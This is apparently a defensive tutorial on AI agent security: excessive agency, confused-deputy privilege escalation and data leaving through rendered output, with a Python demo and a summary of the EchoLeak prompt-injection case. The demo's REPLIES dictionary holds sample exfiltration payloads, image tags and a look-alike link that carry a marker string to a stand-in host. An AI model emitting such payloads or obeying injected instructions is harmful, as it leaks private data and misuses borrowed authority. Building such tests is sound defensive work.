Excessive Agency, Exfiltration and Privilege Escalation
The attacker does not need to break in if your agent already has the keys and will carry things out for them.
Most serious agent incidents need three things: more power than the task requires, input that can steer the model and a way for data or effects to leave. Cut the power first. Check every action with the user's own rights, treat model output as untrusted text and control every outbound path, including the quiet ones such as images and links.
What you will learn: the causes of excessive agency, how confused deputy and privilege escalation work, the channels data leaves by, and how to handle model output safely.
Prerequisites: Tool Permissions, Approvals and Abuse Risks and Prompt Injection Attacks and Defenses. The idea of a threat model from Agent Threat Model and OWASP Agentic Risks helps.
The example runs in November 2026 with Python 3.13 and Markdown 3.11. It uses a harmless marker string in place of a secret and sends nothing over a network.
The problems in plain words
| Problem | Plain meaning | Example |
|---|---|---|
| Excessive agency | The agent can do more than the job needs | A reporting agent can also delete records |
| Tool misuse | A legitimate tool is used for a harmful purpose | The email tool sends a customer list outside |
| Data exfiltration | Private data reaches someone who should not have it | A reply contains a link that carries a secret |
| Confused deputy | A trusted helper uses its own authority for someone else's request | An intern asks the agent, which reads payroll with its admin account |
| Privilege escalation | Someone ends up with more rights than they were given | An agent edits its own permission file |
These map closely to OWASP's agentic risks for tool misuse and for identity and privilege abuse.
Reduce agency first
Agency has three dials. Turn each down before adding detection.
| Dial | Question | Reduce it by |
|---|---|---|
| Functions | Which operations exist? | Removing unused tools; replacing "run any query" with named operations |
| Permissions | On which data and systems? | Read-only where possible; per-user and per-record rights |
| Autonomy | How far without a person? | Approval for consequential steps; limits on count and value |
| Broad tool | Narrow replacement |
|---|---|
run_sql(text) | get_order(order_id) filtered to the caller |
send_email(to, body) | reply_to_ticket(ticket_id, body); recipient set by code |
http_request(url) | check_carrier_status(tracking_id) |
shell(command) | Named build and test operations inside a sandbox |
The narrow versions remove choices the model never needed to make, so there is less for an attacker to steer. See Designing Tool Schemas and Contracts.
The confused deputy
An agent often runs with its own powerful account. When a user asks for something, the system checks what the agent may do, not what the user may do. The fix is to compute permission from all three parties: what the agent is built to do, what this user may do and what this task needs.
Two controls you can run
The first part compares a service-account design with the overlap rule. The second renders five model replies three ways and asks whether the marker would leave automatically or hide behind a link. Save as agency.py, run pip install Markdown, then python agency.py.
"""Two controls for a misled agent: borrowed authority and data leaving through output."""
import html
import re
from html.parser import HTMLParser
from urllib.parse import urlsplit
import markdown # pip install markdown
# Part 1: whose authority is used?
AGENT = {"read:tickets", "read:payroll", "send:email", "delete:ticket"} # service account
USERS = {"intern": {"read:tickets"}, "hr": {"read:tickets", "read:payroll", "send:email"}}
TASKS = {"summarize tickets": {"read:tickets"},
"payroll report": {"read:payroll", "send:email"}}
def allowed(need, user, task, design):
if design == "service account":
return need in AGENT
return need in AGENT & USERS[user] & TASKS[task]
# Part 2: can the reply make the reader's browser send data somewhere?
CANARY = "CANARY-7f3a"
BAD = f"https://collect.test/p?d={CANARY}"
REPLIES = {
"inline image": f"Summary ready. ",
"reference image": f"Summary ready. ![logo][r]\n\n[r]: {BAD}",
"raw HTML image": f'Summary ready. <img src="{BAD}">',
"look-alike link": f"[Your ticket](https://intranet.example.com.collect.test/?d={CANARY})",
"approved link": "Open https://intranet.example.com/ticket/42",
}
class Remote(HTMLParser):
"""Collect what a browser would load, and what a reader could click."""
def __init__(self, page):
super().__init__()
self.loads, self.links = [], []
self.feed(page)
def handle_starttag(self, tag, attrs):
attrs = dict(attrs)
if tag == "img":
self.loads.append(attrs.get("src", ""))
if tag == "a":
self.links.append(attrs.get("href", ""))
def pattern_filter(reply):
"""Common first attempt: delete inline Markdown images, then render."""
return markdown.markdown(re.sub(r"!\[[^\]]*\]\(https?://[^)]*\)", "", reply))
def escape_first(reply, hosts=frozenset({"intranet.example.com"})):
"""Treat the reply as text. Only your code creates links, only to listed hosts."""
parts = re.split(r"(https://[^\s<>\"')\]]+)", reply)
out = []
for i, part in enumerate(parts):
safe = html.escape(part)
if i % 2 and urlsplit(part).hostname in hosts:
safe = f'<a href="{safe}">{safe}</a>'
out.append(safe)
return "<p>" + "".join(out) + "</p>"
if __name__ == "__main__":
print("An injected note asks the intern's ticket summary to read payroll:")
for design in ("service account", "user and task"):
ok = allowed("read:payroll", "intern", "summarize tickets", design)
print(f" {design:<16} read:payroll -> {'allowed' if ok else 'denied'}")
print("\nCanary leaves automatically (A) or sits behind a link (L)?")
print(f" {'reply':<17}{'rendered as is':<16}{'pattern filter':<16}escape first")
for name, reply in REPLIES.items():
row = f" {name:<17}"
for render in (markdown.markdown, pattern_filter, escape_first):
seen = Remote(render(reply))
auto = any(CANARY in u for u in seen.loads)
link = any(urlsplit(u).hostname != "intranet.example.com" for u in seen.links)
row += f"{'A: leaks' if auto else 'L: bad link' if link else 'safe':<16}"
print(row.rstrip())
print("\napproved link still works:",
Remote(escape_first(REPLIES["approved link"])).links)
Output:
An injected note asks the intern's ticket summary to read payroll:
service account read:payroll -> allowed
user and task read:payroll -> denied
Canary leaves automatically (A) or sits behind a link (L)?
reply rendered as is pattern filter escape first
inline image A: leaks safe safe
reference image A: leaks A: leaks safe
raw HTML image A: leaks A: leaks safe
look-alike link L: bad link L: bad link safe
approved link safe safe safe
approved link still works: ['https://intranet.example.com/ticket/42']
What to notice
- The intern never gained a right. The service account simply used its own.
- The pattern filter fixed the case it was written for and missed two other ways of writing the same image.
- Deleting images does nothing about a link whose text looks friendly.
- Escaping the whole reply and letting your code create the only links handles forms you did not think of.
An approved host can still be abused, for example through an open redirect, a proxy or a public upload area. Escaping also removes formatting. If you need rich output, use a maintained sanitizer with a strict allow list and a browser content security policy that blocks unlisted image and request destinations.
Ways data leaves
| Channel | How data hides | Control |
|---|---|---|
| Messages and email | Body, attachment, extra recipient | Recipients set by code; content checks; approval |
| Web requests | Address, query, headers | Destination allow list; no free-form addresses |
| Rendered replies | Images and link previews that load automatically | No remote images; restrictive content policy |
| Shared records | Comment on a public ticket or repository | Check the audience of the destination |
| Code execution | Network call or package install | Sandbox with no outbound network by default |
| Logs and traces | Copied prompts and tool results | Redaction and access control |
| Memory | Stored for one user, recalled for another | Isolation by user and tenant |
| Small signals | Which allowed action is chosen, or how often | Rate limits and monitoring; keep secrets out of context |
The surest protection for a secret is that the model never sees it. See Agent Identity, Authorization and Secrets.
A real example: EchoLeak
In June 2025 researchers disclosed EchoLeak (CVE-2025-32711), in which a single crafted email could lead Microsoft 365 Copilot to send internal data to an attacker without the user clicking anything. The published analysis describes several defenses being chained past, including through automatic image loading. Microsoft fixed it on its side. The general lesson holds for any assistant: how output is rendered is part of the security boundary.
Treat output as untrusted input
Whatever the model writes may contain text an attacker chose. When code consumes it, apply the same care as for a web form.
| Where output goes | Risk | Safe handling |
|---|---|---|
| Web page | Script or markup injection | Escape by default; sanitize with an allow list |
| Database | SQL injection or destructive query | Parameters; restricted, read-only connection |
| Shell | Extra commands | Avoid shells; pass a fixed program and argument list |
| File path | Writing outside the folder | Resolve the path and check it stays inside |
| Spreadsheet | Cells interpreted as formulas | Neutralize leading formula characters |
| Templates or configuration | Expressions evaluated | Never evaluate data as a template or code |
| Another agent | Instructions passed on | Typed fields; no authority from message text |
from pathlib import Path
def inside(root, name):
root = Path(root).resolve()
target = (root / name).resolve()
if not target.is_relative_to(root):
raise ValueError("path leaves the workspace")
return target
This path check is a sketch and was not part of the run above. It does not protect against a link changed between the check and the use, so also isolate the process.
Paths to escalation
| Path | Prevention |
|---|---|
| The agent can edit its own instructions, tools or policy | Keep them read-only to the running agent; change through review |
| A sandbox can reach a credential service | Block metadata addresses; mount no secrets |
| A low-trust agent asks a high-trust one | Check the original requester's rights at every hop |
| A saved approval is reused | Bind approval to one exact action, once, with expiry |
| Memory records "this user is an administrator" | Take roles only from the identity system |
| Build or deploy rights allow new code | Separate who writes code from who releases it |
Limit combinations per session
Meta's Agents Rule of Two offers a design test: within one session, an agent should have no more than two of untrusted input, access to sensitive systems or private data, and the ability to change state or communicate externally. If a task needs all three, add human supervision or another reliable check, or split the work into separate sessions that pass only constrained values. It narrows risk from prompt injection; it does not replace permissions or ordinary security.
A checked value is only as safe as its check. An order number with a fixed format is safe to pass; a free-text "summary" carries the injection with it.
Limit volume as well as permission
A permitted action repeated a thousand times can be the whole incident. A support agent may read one customer record by design; reading every record is a breach even though each call passed the permission check. Set ceilings that match honest work, and enforce them in the tool service.
| Ceiling | Example starting point | When reached |
|---|---|---|
| Records read per task | The records linked to this request | Stop and ask for a reason |
| Outbound messages per user per hour | Slightly above the busiest normal hour | Queue for review |
| New destinations | None without approval | Hold the message |
| Value of changes per day | A figure the business owner accepts losing | Require a second person |
| Steps and tool calls per task | Above the longest successful test run | End the task and report |
The examples are starting points to measure against, not recommended values. Count across sessions and agents, or an attacker will simply spread the work out.
Delegation between agents
When one agent asks another to act, the second must learn who the request is really for. Pass a verifiable statement of the original user and the narrowed rights, not a sentence such as "the manager approved this". Each receiving service checks it again, and rights can only shrink along the chain.
Detect misuse
- First use of a tool or destination by an agent.
- Reads far larger than the task needs, followed by any outbound step.
- Denied actions repeated with small variations.
- Long or encoded-looking strings in addresses and query parameters.
- Marker values planted in sensitive records appearing anywhere else.
Record the policy decision for each action so investigators can see what was attempted and what stopped it. See Human Approval, Thresholds and Secure Logging.
Test these controls
| Test | Pass condition |
|---|---|
| Low-rights user requests high-rights data | Denied by the tool service, not only by the model |
| Reply includes remote images in several forms | Nothing loads |
| Output contains markup, SQL and path characters | Handled as data |
| Agent tries to change its own policy | No write access |
| Sandbox attempts outbound connections | Blocked and logged |
Test the services directly as well as through the agent. A control that only works because the model behaved is not a control.
Worked review: a support assistant
A support assistant reads customer emails, searches all customer records and sends replies. Review finds that one injected email could combine all three powers. The team changes the search to the sender's own account, sets the recipient from the ticket, renders replies as text and requires approval for attachments. An injection can still produce a misleading reply to that same customer, which the team records as a remaining risk and samples in quality review.
An agency review you can repeat
- Export the tools each agent can call and the credentials each tool uses.
- From logs, list which tools and permissions were used in a representative period. Remember rare but legitimate work such as month-end tasks.
- For everything unused, ask the owner to justify or remove it.
- For everything used, ask whether a narrower operation would do.
- Mark each tool that reads untrusted content, reads private data or sends anything out, and look for sessions that combine all three.
- Record decisions and a date to repeat the review.
Common mistakes
| Mistake | Better practice |
|---|---|
| One powerful account for all users | Act with delegated, per-user rights |
| Blocking known bad strings in output | Allow only known good structures |
| Forgetting automatic image and preview loading | Block remote loads in the interface |
| Letting the model choose recipients and addresses | Set them in code from trusted records |
| Passing raw text between a reader and an actor | Pass validated, typed values |
Checklist
- Every tool is needed, narrow and owned
- Permissions use the overlap of agent, user and task
- All outbound paths are listed and controlled
- Output is escaped or validated for each destination
- The agent cannot change its own rules
- Services are tested without the model in front
Frequently asked questions
Is a stronger system prompt enough to stop misuse?
No. It may reduce accidents, but permissions and outbound controls must hold even when the model ignores it.
Does read-only mean safe?
No. Reading is the first half of exfiltration. Read access still needs limits and a controlled way out.
Can data leak without any tool?
Yes. A rendered reply that loads a remote image or shows a crafted link can carry data out.
How do I find excessive agency?
Compare the rights an agent holds with those it used over a representative period, then remove the difference after review.
References and further reading
- OWASP Top 10 for Agentic Applications 2026
- Meta: Agents Rule of Two
- EchoLeak case study
- OWASP cross-site scripting prevention cheat sheet
- MDN: Content Security Policy
Next steps
Supply Chain and Retrieval Poisoning
Check what you load and what you retrieve.
Agent Identity, Authorization and Secrets
Delegate narrow authority.
Action Guardrails and Policy Engines
Enforce rules on actions.